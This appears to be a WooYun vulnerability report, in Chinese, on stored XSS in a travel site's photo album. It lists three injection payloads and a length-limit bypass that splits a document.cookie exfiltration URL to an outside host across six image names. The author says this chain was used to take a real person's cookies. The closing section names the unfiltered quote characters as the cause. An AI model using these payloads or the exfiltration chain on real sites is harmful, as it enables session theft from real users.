WooYun.org

1. “><img src=1 onerror=alert(1);>
1） 位置：
a) 相册

b) 转发

c) 编辑名称

2） 利用
利用起来非常简单，前两个直接看了就被X，
后面那个一个我们抓了一下包：

上面的几个都非常清晰明了的出现在了网页中，直接CSRF修改subject，不论是自己还是别人，各种被跨。
2. “ onload=”alert(1)”

1） 位置
a) 直接在相册页面被X

b) 跑到编辑图片里面被X

2） 利用
同样方便，方法一：直接X；方法二：CSRFX
当然还有更方便的“突破长度限制跨艺龙妹子”。
3. ‘;alert(document.cookie);//

1） 位置
a) 外面：在相册里面看照片

b) 里面：点进去看照片

2） 利用
最直接，一看就X
4. 突破长度限制跨艺龙妹子！
上面说了这么多，但是有个问题，最多只能输入30个字母，想要跨到艺龙妹子，必须突破长度限制才可以。我们可以利用几种XSS配合突破长度限制。
我们的跨站代码是

http://kocteg.duapp.com/a.php?v=elong&c=’document.cookie’

由于长度限制，我们无法使用这个跨站代码。那么就有下面这个办法，将其拆分
1：” onload=”g=document.cookie”
2：” onload=”h=’http://kocteg’”
3：” onload=”h=h+’.duapp.com/a.’”
4：” onload=”h=h+’php?v=elong&c’”
5：” onload=”h=h+’=’+g”
6：’;windows.open(h);//
分别放到每个图片里面去

只要妹子一点开这个相册，就被跨了。。。。

收到两条。。。因为duapp设置了啥啥啥，导致IP地址获取不到。。。
5. 原理及修复
1） 第一个：“><img src=1 onerror=alert(1);>

“和>木有过滤
2） 第二个：“ onload=”alert(1)”

“木有过滤
3） 第三个：‘;alert(document.cookie);//

调用后单引号木有过滤